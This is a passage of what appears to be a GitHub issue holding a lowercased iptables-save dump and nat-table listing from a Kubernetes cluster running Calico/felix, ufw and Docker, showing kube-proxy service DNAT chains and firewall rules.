-j kube-mark-masq\r -a kube-sep-darqfiu6ciz6dhsz -p tcp -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -m tcp -j dnat --to-destination 10.163.148.198:1\r -a kube-sep-fmm5baxi5qdngxpj -s 10.163.148.196/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-fmm5baxi5qdngxpj -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-fmm5baxi5qdngxpj --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.163.148.196:6443\r -a kube-sep-kjx7s6nvuiouabfe -s 10.163.148.196/32 -m comment --comment \ kube-system/canal-etcd:\  -j kube-mark-masq\r -a kube-sep-kjx7s6nvuiouabfe -p tcp -m comment --comment \ kube-system/canal-etcd:\  -m tcp -j dnat --to-destination 10.163.148.196:6666\r -a kube-sep-kmrljbmsxvc225ld -s 192.168.45.37/32 -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-mark-masq\r -a kube-sep-kmrljbmsxvc225ld -p tcp -m comment --comment \ kube-system/kubernetes-dashboard:\  -m tcp -j dnat --to-destination 192.168.45.37:9090\r -a kube-sep-kxx2ukhaml22525b -s 10.163.148.197/32 -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -j kube-mark-masq\r -a kube-sep-kxx2ukhaml22525b -p tcp -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -m tcp -j dnat --to-destination 10.163.148.197:1\r -a kube-sep-ncdbiyvkeum6v7jv -s 192.168.75.33/32 -m comment --comment \ kube-system/kube-dns:dns\  -j kube-mark-masq\r -a kube-sep-ncdbiyvkeum6v7jv -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp -j dnat --to-destination 192.168.75.33:53\r -a kube-sep-ysvakjlnbvvbenui -s 192.168.75.32/32 -m comment --comment \ kube-system/kube-registry:registry\  -j kube-mark-masq\r -a kube-sep-ysvakjlnbvvbenui -p tcp -m comment --comment \ kube-system/kube-registry:registry\  -m tcp -j dnat --to-destination 192.168.75.32:5000\r -a kube-services ! -s 192.168.0.0/16 -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-mark-masq\r -a kube-services -d 10.96.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r -a kube-services ! -s 192.168.0.0/16 -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns cluster ip\  -m udp --dport 53 -j kube-svc-tcou7jcqxezgvunu\r -a kube-services ! -s 192.168.0.0/16 -d 10.100.57.109/32 -p tcp -m comment --comment \ kube-system/kube-registry:registry cluster ip\  -m tcp --dport 5000 -j kube-mark-masq\r -a kube-services -d 10.100.57.109/32 -p tcp -m comment --comment \ kube-system/kube-registry:registry cluster ip\  -m tcp --dport 5000 -j kube-svc-jv2wr75k33aezuk7\r -a kube-services ! -s 192.168.0.0/16 -d 10.110.206.254/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 80 -j kube-mark-masq\r -a kube-services -d 10.110.206.254/32 -p tcp -m comment --comment \ kube-system/kubernetes-dashboard: cluster ip\  -m tcp --dport 80 -j kube-svc-xgloha7qrq3v22rz\r -a kube-services ! -s 192.168.0.0/16 -d 10.96.232.136/32 -p tcp -m comment --comment \ kube-system/canal-etcd: cluster ip\  -m tcp --dport 6666 -j kube-mark-masq\r -a kube-services -d 10.96.232.136/32 -p tcp -m comment --comment \ kube-system/canal-etcd: cluster ip\  -m tcp --dport 6666 -j kube-svc-kwjorwlctf22fld3\r -a kube-services ! -s 192.168.0.0/16 -d 10.106.192.243/32 -p tcp -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc: cluster ip\  -m tcp --dport 1 -j kube-mark-masq\r -a kube-services -d 10.106.192.243/32 -p tcp -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc: cluster ip\  -m tcp --dport 1 -j kube-svc-e66mhsuh4ayexsqe\r -a kube-services ! -s 192.168.0.0/16 -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-mark-masq\r -a kube-services -d 10.96.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp cluster ip\  -m tcp --dport 53 -j kube-svc-erifxisqep7f7of4\r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r -a kube-svc-e66mhsuh4ayexsqe -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-7qbktobwzow2adyz\r -a kube-svc-e66mhsuh4ayexsqe -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-kxx2ukhaml22525b\r -a kube-svc-e66mhsuh4ayexsqe -m comment --comment \ kube-system/glusterfs-dynamic-kube-registry-pvc:\  -j kube-sep-darqfiu6ciz6dhsz\r -a kube-svc-erifxisqep7f7of4 -m comment --comment \ kube-system/kube-dns:dns-tcp\  -j kube-sep-4u6btajcdmhbcnte\r -a kube-svc-jv2wr75k33aezuk7 -m comment --comment \ kube-system/kube-registry:registry\  -j kube-sep-ysvakjlnbvvbenui\r -a kube-svc-kwjorwlctf22fld3 -m comment --comment \ kube-system/canal-etcd:\  -j kube-sep-kjx7s6nvuiouabfe\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 10800 --reap --name kube-sep-fmm5baxi5qdngxpj --mask 255.255.255.255 --rsource -j kube-sep-fmm5baxi5qdngxpj\r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-fmm5baxi5qdngxpj\r -a kube-svc-tcou7jcqxezgvunu -m comment --comment \ kube-system/kube-dns:dns\  -j kube-sep-ncdbiyvkeum6v7jv\r -a kube-svc-xgloha7qrq3v22rz -m comment --comment \ kube-system/kubernetes-dashboard:\  -j kube-sep-kmrljbmsxvc225ld\r -a felix-postrouting -j felix-fip-snat\r -a felix-prerouting -j felix-fip-dnat\r commit\r   completed on thu jan  5 22:33:57 2017\r   generated by iptables-save v1.6.0 on thu jan  5 22:33:57 2017\r  filter\r :input accept  0:0 \r :forward drop  0:0 \r :output accept  0:0 \r :docker -  0:0 \r :docker-isolation -  0:0 \r :kube-firewall -  0:0 \r :kube-services -  0:0 \r :f2b-sshd -  0:0 \r :felix-failsafe-in -  0:0 \r :felix-failsafe-out -  0:0 \r :felix-forward -  0:0 \r :felix-from-endpoint -  0:0 \r :felix-from-host-if -  0:0 \r :felix-input -  0:0 \r :felix-output -  0:0 \r :felix-to-endpoint -  0:0 \r :felix-to-host-if -  0:0 \r :felix-from-2364763ca74 -  0:0 \r :felix-from-428849870ea -  0:0 \r :felix-p-_0f05888047b5982-i -  0:0 \r :felix-p-_0f05888047b5982-o -  0:0 \r :felix-p-_3806fbfa06d1365-i -  0:0 \r :felix-p-_3806fbfa06d1365-o -  0:0 \r :felix-to-2364763ca74 -  0:0 \r :felix-to-428849870ea -  0:0 \r :ufw-after-forward -  0:0 \r :ufw-after-input -  0:0 \r :ufw-after-logging-forward -  0:0 \r :ufw-after-logging-input -  0:0 \r :ufw-after-logging-output -  0:0 \r :ufw-after-output -  0:0 \r :ufw-before-forward -  0:0 \r :ufw-before-input -  0:0 \r :ufw-before-logging-forward -  0:0 \r :ufw-before-logging-input -  0:0 \r :ufw-before-logging-output -  0:0 \r :ufw-before-output -  0:0 \r :ufw-logging-allow -  0:0 \r :ufw-logging-deny -  0:0 \r :ufw-not-local -  0:0 \r :ufw-reject-forward -  0:0 \r :ufw-reject-input -  0:0 \r :ufw-reject-output -  0:0 \r :ufw-skip-to-policy-forward -  0:0 \r :ufw-skip-to-policy-input -  0:0 \r :ufw-skip-to-policy-output -  0:0 \r :ufw-track-forward -  0:0 \r :ufw-track-input -  0:0 \r :ufw-track-output -  0:0 \r :ufw-user-forward -  0:0 \r :ufw-user-input -  0:0 \r :ufw-user-limit -  0:0 \r :ufw-user-limit-accept -  0:0 \r :ufw-user-logging-forward -  0:0 \r :ufw-user-logging-input -  0:0 \r :ufw-user-logging-output -  0:0 \r :ufw-user-output -  0:0 \r -a input -j felix-input\r -a input -j kube-firewall\r -a input -p tcp -m multiport --dports 22 -j f2b-sshd\r -a input -j ufw-before-logging-input\r -a input -j ufw-before-input\r -a input -j ufw-after-input\r -a input -j ufw-after-logging-input\r -a input -j ufw-reject-input\r -a input -j ufw-track-input\r -a forward -j felix-forward\r -a forward -j docker-isolation\r -a forward -o docker0 -j docker\r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r -a forward -i docker0 ! -o docker0 -j accept\r -a forward -i docker0 -o docker0 -j accept\r -a forward -j ufw-before-logging-forward\r -a forward -j ufw-before-forward\r -a forward -j ufw-after-forward\r -a forward -j ufw-after-logging-forward\r -a forward -j ufw-reject-forward\r -a forward -j ufw-track-forward\r -a output -j felix-output\r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r -a output -j kube-firewall\r -a output -j ufw-before-logging-output\r -a output -j ufw-before-output\r -a output -j ufw-after-output\r -a output -j ufw-after-logging-output\r -a output -j ufw-reject-output\r -a output -j ufw-track-output\r -a docker-isolation -j return\r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r -a f2b-sshd -j return\r -a felix-failsafe-in -p tcp -m tcp --dport 22 -j accept\r -a felix-failsafe-out -p tcp -m tcp --dport 2379 -j accept\r -a felix-failsafe-out -p tcp -m tcp --dport 2380 -j accept\r -a felix-failsafe-out -p tcp -m tcp --dport 4001 -j accept\r -a felix-failsafe-out -p tcp -m tcp --dport 7001 -j accept\r -a felix-forward -i cali+ -m conntrack --ctstate invalid -j drop\r -a felix-forward -o cali+ -m conntrack --ctstate invalid -j drop\r -a felix-forward -i cali+ -m conntrack --ctstate related,established -j accept\r -a felix-forward -o cali+ -m conntrack --ctstate related,established -j accept\r -a felix-forward -i cali+ -j felix-from-endpoint\r -a felix-forward -o cali+ -j felix-to-endpoint\r -a felix-forward -i cali+ -j accept\r -a felix-forward -o cali+ -j accept\r -a felix-from-endpoint -i cali2364763ca74 -g felix-from-2364763ca74\r -a felix-from-endpoint -i cali428849870ea -g felix-from-428849870ea\r -a felix-from-endpoint -m comment --comment \ from unknown endpoint\  -j drop\r -a felix-from-host-if -m comment --comment \ unknown interface, return\  -j return\r -a felix-input -m conntrack --ctstate invalid -j drop\r -a felix-input -m conntrack --ctstate related,established -j accept\r -a felix-input ! -i cali+ -g felix-from-host-if\r -a felix-input -p udp -m udp --sport 68 --dport 67 -j accept\r -a felix-input -p udp -m udp --dport 53 -j accept\r -a felix-input -j felix-from-endpoint\r -a felix-output -m conntrack --ctstate invalid -j drop\r -a felix-output -m conntrack --ctstate related,established -j accept\r -a felix-output ! -o cali+ -g felix-to-host-if\r -a felix-to-endpoint -o cali2364763ca74 -g felix-to-2364763ca74\r -a felix-to-endpoint -o cali428849870ea -g felix-to-428849870ea\r -a felix-to-endpoint -m comment --comment \ to unknown endpoint\  -j drop\r -a felix-to-host-if -m comment --comment \ unknown interface, return\  -j return\r -a felix-from-2364763ca74 -j mark --set-xmark 0x0/0x1000000\r -a felix-from-2364763ca74 -m mac ! --mac-source 2a:e8:7f:82:aa:b5 -m comment --comment \ incorrect source mac\  -j drop\r -a felix-from-2364763ca74 -m comment --comment \ start of tier k8s-network-policy\  -j mark --set-xmark 0x0/0x2000000\r -a felix-from-2364763ca74 -m mark --mark 0x0/0x2000000 -j felix-p-_3806fbfa06d1365-o\r -a felix-from-2364763ca74 -m mark --mark 0x1000000/0x1000000 -m comment --comment \ return if policy accepted\  -j return\r -a felix-from-2364763ca74 -m mark --mark 0x0/0x2000000 -m comment --comment \ drop if no policy in tier passed\  -j drop\r -a felix-from-2364763ca74 -j felix-p-_0f05888047b5982-o\r -a felix-from-2364763ca74 -m mark --mark 0x1000000/0x1000000 -m comment --comment \ profile accepted packet\  -j return\r -a felix-from-2364763ca74 -m comment --comment \ packet did not match any profile  endpoint eth0 \  -j drop\r -a felix-from-428849870ea -j mark --set-xmark 0x0/0x1000000\r -a felix-from-428849870ea -m mac ! --mac-source e6:76:86:8b:42:2a -m comment --comment \ incorrect source mac\  -j drop\r -a felix-from-428849870ea -m comment --comment \ start of tier k8s-network-policy\  -j mark --set-xmark 0x0/0x2000000\r -a felix-from-428849870ea -m mark --mark 0x0/0x2000000 -j felix-p-_3806fbfa06d1365-o\r -a felix-from-428849870ea -m mark --mark 0x1000000/0x1000000 -m comment --comment \ return if policy accepted\  -j return\r -a felix-from-428849870ea -m mark --mark 0x0/0x2000000 -m comment --comment \ drop if no policy in tier passed\  -j drop\r -a felix-from-428849870ea -j felix-p-_0f05888047b5982-o\r -a felix-from-428849870ea -m mark --mark 0x1000000/0x1000000 -m comment --comment \ profile accepted packet\  -j return\r -a felix-from-428849870ea -m comment --comment \ packet did not match any profile  endpoint eth0 \  -j drop\r -a felix-p-_0f05888047b5982-i -j mark --set-xmark 0x1000000/0x1000000\r -a felix-p-_0f05888047b5982-i -m mark --mark 0x1000000/0x1000000 -j return\r -a felix-p-_0f05888047b5982-o -j mark --set-xmark 0x1000000/0x1000000\r -a felix-p-_0f05888047b5982-o -m mark --mark 0x1000000/0x1000000 -j return\r -a felix-p-_3806fbfa06d1365-i -j mark --set-xmark 0x2000000/0x2000000\r -a felix-p-_3806fbfa06d1365-i -m mark --mark 0x2000000/0x2000000 -j return\r -a felix-p-_3806fbfa06d1365-o -j mark --set-xmark 0x2000000/0x2000000\r -a felix-p-_3806fbfa06d1365-o -m mark --mark 0x2000000/0x2000000 -j return\r -a felix-to-2364763ca74 -j mark --set-xmark 0x0/0x1000000\r -a felix-to-2364763ca74 -m comment --comment \ start of tier k8s-network-policy\  -j mark --set-xmark 0x0/0x2000000\r -a felix-to-2364763ca74 -m mark --mark 0x0/0x2000000 -j felix-p-_3806fbfa06d1365-i\r -a felix-to-2364763ca74 -m mark --mark 0x1000000/0x1000000 -m comment --comment \ return if policy accepted\  -j return\r -a felix-to-2364763ca74 -m mark --mark 0x0/0x2000000 -m comment --comment \ drop if no policy in tier passed\  -j drop\r -a felix-to-2364763ca74 -j felix-p-_0f05888047b5982-i\r -a felix-to-2364763ca74 -m mark --mark 0x1000000/0x1000000 -m comment --comment \ profile accepted packet\  -j return\r -a felix-to-2364763ca74 -m comment --comment \ packet did not match any profile  endpoint eth0 \  -j drop\r -a felix-to-428849870ea -j mark --set-xmark 0x0/0x1000000\r -a felix-to-428849870ea -m comment --comment \ start of tier k8s-network-policy\  -j mark --set-xmark 0x0/0x2000000\r -a felix-to-428849870ea -m mark --mark 0x0/0x2000000 -j felix-p-_3806fbfa06d1365-i\r -a felix-to-428849870ea -m mark --mark 0x1000000/0x1000000 -m comment --comment \ return if policy accepted\  -j return\r -a felix-to-428849870ea -m mark --mark 0x0/0x2000000 -m comment --comment \ drop if no policy in tier passed\  -j drop\r -a felix-to-428849870ea -j felix-p-_0f05888047b5982-i\r -a felix-to-428849870ea -m mark --mark 0x1000000/0x1000000 -m comment --comment \ profile accepted packet\  -j return\r -a felix-to-428849870ea -m comment --comment \ packet did not match any profile  endpoint eth0 \  -j drop\r -a ufw-after-input -p udp -m udp --dport 137 -j ufw-skip-to-policy-input\r -a ufw-after-input -p udp -m udp --dport 138 -j ufw-skip-to-policy-input\r -a ufw-after-input -p tcp -m tcp --dport 139 -j ufw-skip-to-policy-input\r -a ufw-after-input -p tcp -m tcp --dport 445 -j ufw-skip-to-policy-input\r -a ufw-after-input -p udp -m udp --dport 67 -j ufw-skip-to-policy-input\r -a ufw-after-input -p udp -m udp --dport 68 -j ufw-skip-to-policy-input\r -a ufw-after-input -m addrtype --dst-type broadcast -j ufw-skip-to-policy-input\r -a ufw-before-forward -m conntrack --ctstate related,established -j accept\r -a ufw-before-forward -p icmp -m icmp --icmp-type 3 -j accept\r -a ufw-before-forward -p icmp -m icmp --icmp-type 4 -j accept\r -a ufw-before-forward -p icmp -m icmp --icmp-type 11 -j accept\r -a ufw-before-forward -p icmp -m icmp --icmp-type 12 -j accept\r -a ufw-before-forward -p icmp -m icmp --icmp-type 8 -j accept\r -a ufw-before-forward -j ufw-user-forward\r -a ufw-before-input -i lo -j accept\r -a ufw-before-input -m conntrack --ctstate related,established -j accept\r -a ufw-before-input -m conntrack --ctstate invalid -j ufw-logging-deny\r -a ufw-before-input -m conntrack --ctstate invalid -j drop\r -a ufw-before-input -p icmp -m icmp --icmp-type 3 -j accept\r -a ufw-before-input -p icmp -m icmp --icmp-type 4 -j accept\r -a ufw-before-input -p icmp -m icmp --icmp-type 11 -j accept\r -a ufw-before-input -p icmp -m icmp --icmp-type 12 -j accept\r -a ufw-before-input -p icmp -m icmp --icmp-type 8 -j accept\r -a ufw-before-input -p udp -m udp --sport 67 --dport 68 -j accept\r -a ufw-before-input -j ufw-not-local\r -a ufw-before-input -d 224.0.0.251/32 -p udp -m udp --dport 5353 -j accept\r -a ufw-before-input -d 239.255.255.250/32 -p udp -m udp --dport 1900 -j accept\r -a ufw-before-input -j ufw-user-input\r -a ufw-before-output -o lo -j accept\r -a ufw-before-output -m conntrack --ctstate related,established -j accept\r -a ufw-before-output -j ufw-user-output\r -a ufw-not-local -m addrtype --dst-type local -j return\r -a ufw-not-local -m addrtype --dst-type multicast -j return\r -a ufw-not-local -m addrtype --dst-type broadcast -j return\r -a ufw-not-local -m limit --limit 3/min --limit-burst 10 -j ufw-logging-deny\r -a ufw-not-local -j drop\r -a ufw-skip-to-policy-forward -j drop\r -a ufw-skip-to-policy-input -j accept\r -a ufw-skip-to-policy-output -j accept\r -a ufw-track-input -p tcp -m conntrack --ctstate new -j accept\r -a ufw-track-input -p udp -m conntrack --ctstate new -j accept\r -a ufw-track-output -p tcp -m conntrack --ctstate new -j accept\r -a ufw-track-output -p udp -m conntrack --ctstate new -j accept\r -a ufw-user-input -p tcp -m tcp --dport 22 -j accept\r -a ufw-user-limit -j reject --reject-with icmp-port-unreachable\r -a ufw-user-limit-accept -j accept\r -a ufw-user-logging-forward -j return\r -a ufw-user-logging-input -j return\r -a ufw-user-logging-output -j return\r commit\r   completed on thu jan  5 22:33:57 2017\r    \r </details>\r \r <details>\r <summary>iptables nat table</summary>\r \r    \r chain prerouting  policy accept 1 packets, 60 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r     1    60 felix-prerouting  all  --  any    any     anywhere             anywhere            \r  7328  448k kube-services  all  --  any    any     anywhere             anywhere             /  kubernetes service portals  /\r  9819  590k docker     all  --  any    any     anywhere             anywhere             addrtype match dst-type local\r \r chain input  policy accept 1 packets, 60 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain output  policy accept 2 packets, 144 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r  3398  207k kube-services  all  --  any    any     anywhere             anywhere             /  kubernetes service portals  /\r   177 11058 docker     all  --  any    any     anywhere            !127.0.0.0/8          addrtype match dst-type local\r \r chain postrouting  policy accept 2 packets, 144 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r     2   144 felix-postrouting  all  --  any    any     anywhere             anywhere            \r  3893  237k kube-postrouting  all  --  any    any     anywhere             anywhere             /  kubernetes postrouting rules  /\r     0     0 masquerade  all  --  any    !docker0  172.17.0.0/16        anywhere            \r     0     0 return     all  --  any    any     192.168.0.0/16       192.168.0.0/16      \r     0     0 masquerade  all  --  any    any     192.168.0.0/16      !base-address.mcast.net/4 \r     0     0 masquerade  all  --  any    any    !192.168.0.0/16       192.168.0.0/16      \r \r chain docker  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  docker0 any     anywhere             anywhere            \r \r chain kube-mark-drop  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark or 0x8000\r \r chain kube-mark-masq  18 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark or 0x4000\r \r chain kube-nodeports  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  tcp  --  any    any     anywhere             anywhere             /  kube-system/kube-registry:registry  / tcp dpt:30080\r     0     0 kube-svc-jv2wr75k33aezuk7  tcp  --  any    any     anywhere             anywhere             /  kube-system/kube-registry:registry  / tcp dpt:30080\r     0     0 kube-mark-masq  tcp  --  any    any     anywhere             anywhere             /  kube-system/kubernetes-dashboard:  / tcp dpt:30882\r     0     0 kube-svc-xgloha7qrq3v22rz  tcp  --  any    any     anywhere             anywhere             /  kube-system/kubernetes-dashboard:  / tcp dpt:30882\r \r chain kube-postrouting  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 masquerade  all  --  any    any     anywhere             anywhere             /  kubernetes service traffic requiring snat  / mark match 0x4000/0x4000\r \r chain kube-sep-4u6btajcdmhbcnte  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     192.168.75.33        anywhere             /  kube-system/kube-dns:dns-tcp  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/kube-dns:dns-tcp  / tcp to:192.168.75.33:53\r \r chain kube-sep-7qbktobwzow2adyz  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     10.163.148.196       anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  / tcp to:10.163.148.196:1\r \r chain kube-sep-darqfiu6ciz6dhsz  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     10.163.148.198       anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  / tcp to:10.163.148.198:1\r \r chain kube-sep-fmm5baxi5qdngxpj  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     10.163.148.196       anywhere             /  default/kubernetes:https  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  default/kubernetes:https  / recent: set name: kube-sep-fmm5baxi5qdngxpj side: source mask: 255.255.255.255 tcp to:10.163.148.196:6443\r \r chain kube-sep-kjx7s6nvuiouabfe  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     10.163.148.196       anywhere             /  kube-system/canal-etcd:  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/canal-etcd:  / tcp to:10.163.148.196:6666\r \r chain kube-sep-kmrljbmsxvc225ld  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     192.168.45.37        anywhere             /  kube-system/kubernetes-dashboard:  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/kubernetes-dashboard:  / tcp to:192.168.45.37:9090\r \r chain kube-sep-kxx2ukhaml22525b  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     10.163.148.197       anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  / tcp to:10.163.148.197:1\r \r chain kube-sep-ncdbiyvkeum6v7jv  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     192.168.75.33        anywhere             /  kube-system/kube-dns:dns  /\r     0     0 dnat       udp  --  any    any     anywhere             anywhere             /  kube-system/kube-dns:dns  / udp to:192.168.75.33:53\r \r chain kube-sep-ysvakjlnbvvbenui  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  all  --  any    any     192.168.75.32        anywhere             /  kube-system/kube-registry:registry  /\r     0     0 dnat       tcp  --  any    any     anywhere             anywhere             /  kube-system/kube-registry:registry  / tcp to:192.168.75.32:5000\r \r chain kube-services  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-mark-masq  tcp  --  any    any    !192.168.0.0/16       10.96.0.1            /  default/kubernetes:https cluster ip  / tcp dpt:https\r     0     0 kube-svc-npx46m4ptmtkrn6y  tcp  --  any    any     anywhere             10.96.0.1            /  default/kubernetes:https cluster ip  / tcp dpt:https\r     0     0 kube-mark-masq  udp  --  any    any    !192.168.0.0/16       10.96.0.10           /  kube-system/kube-dns:dns cluster ip  / udp dpt:domain\r     0     0 kube-svc-tcou7jcqxezgvunu  udp  --  any    any     anywhere             10.96.0.10           /  kube-system/kube-dns:dns cluster ip  / udp dpt:domain\r     0     0 kube-mark-masq  tcp  --  any    any    !192.168.0.0/16       10.100.57.109        /  kube-system/kube-registry:registry cluster ip  / tcp dpt:5000\r     0     0 kube-svc-jv2wr75k33aezuk7  tcp  --  any    any     anywhere             10.100.57.109        /  kube-system/kube-registry:registry cluster ip  / tcp dpt:5000\r     0     0 kube-mark-masq  tcp  --  any    any    !192.168.0.0/16       10.110.206.254       /  kube-system/kubernetes-dashboard: cluster ip  / tcp dpt:http\r     0     0 kube-svc-xgloha7qrq3v22rz  tcp  --  any    any     anywhere             10.110.206.254       /  kube-system/kubernetes-dashboard: cluster ip  / tcp dpt:http\r     0     0 kube-mark-masq  tcp  --  any    any    !192.168.0.0/16       10.96.232.136        /  kube-system/canal-etcd: cluster ip  / tcp dpt:6666\r     0     0 kube-svc-kwjorwlctf22fld3  tcp  --  any    any     anywhere             10.96.232.136        /  kube-system/canal-etcd: cluster ip  / tcp dpt:6666\r     0     0 kube-mark-masq  tcp  --  any    any    !192.168.0.0/16       10.106.192.243       /  kube-system/glusterfs-dynamic-kube-registry-pvc: cluster ip  / tcp dpt:tcpmux\r     0     0 kube-svc-e66mhsuh4ayexsqe  tcp  --  any    any     anywhere             10.106.192.243       /  kube-system/glusterfs-dynamic-kube-registry-pvc: cluster ip  / tcp dpt:tcpmux\r     0     0 kube-mark-masq  tcp  --  any    any    !192.168.0.0/16       10.96.0.10           /  kube-system/kube-dns:dns-tcp cluster ip  / tcp dpt:domain\r     0     0 kube-svc-erifxisqep7f7of4  tcp  --  any    any     anywhere             10.96.0.10           /  kube-system/kube-dns:dns-tcp cluster ip  / tcp dpt:domain\r     1    60 kube-nodeports  all  --  any    any     anywhere             anywhere             /  kubernetes service nodeports; note: this must be the last rule in this chain  / addrtype match dst-type local\r \r chain kube-svc-e66mhsuh4ayexsqe  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-7qbktobwzow2adyz  all  --  any    any     anywhere             anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  / statistic mode random probability 0.33332999982\r     0     0 kube-sep-kxx2ukhaml22525b  all  --  any    any     anywhere             anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  / statistic mode random probability 0.50000000000\r     0     0 kube-sep-darqfiu6ciz6dhsz  all  --  any    any     anywhere             anywhere             /  kube-system/glusterfs-dynamic-kube-registry-pvc:  /\r \r chain kube-svc-erifxisqep7f7of4  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-4u6btajcdmhbcnte  all  --  any    any     anywhere             anywhere             /  kube-system/kube-dns:dns-tcp  /\r \r chain kube-svc-jv2wr75k33aezuk7  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-ysvakjlnbvvbenui  all  --  any    any     anywhere             anywhere             /  kube-system/kube-registry:registry  /\r \r chain kube-svc-kwjorwlctf22fld3  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-kjx7s6nvuiouabfe  all  --  any    any     anywhere             anywhere             /  kube-system/canal-etcd:  /\r \r chain kube-svc-npx46m4ptmtkrn6y  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-fmm5baxi5qdngxpj  all  --  any    any     anywhere             anywhere             /  default/kubernetes:https  / recent: check seconds: 10800 reap name: kube-sep-fmm5baxi5qdngxpj side: source mask: 255.255.255.255\r     0     0 kube-sep-fmm5baxi5qdngxpj  all  --  any    any     anywhere             anywhere             /  default/kubernetes:https  /\r \r chain kube-svc-tcou7jcqxezgvunu  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-ncdbiyvkeum6v7jv  all  --  any    any     anywhere             anywhere             /  kube-system/kube-dns:dns  /\r \r chain kube-svc-xgloha7qrq3v22rz  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 kube-sep-kmrljbmsxvc225ld  all  --  any    any     anywhere             anywhere             /  kube-system/kubernetes-dashboard:  /\r \r chain felix-fip-dnat  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain felix-fip-snat  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain felix-postrouting  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     2   144 felix-fip-snat  all  --  any    any     anywhere             anywhere            \r \r chain felix-prerouting  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     1    60 felix-fip-dnat  all  --  any    any     anywhere             anywhere            \r    \r </details>\r \r <details>\r <summary>iptables filter table</summary>\r \r   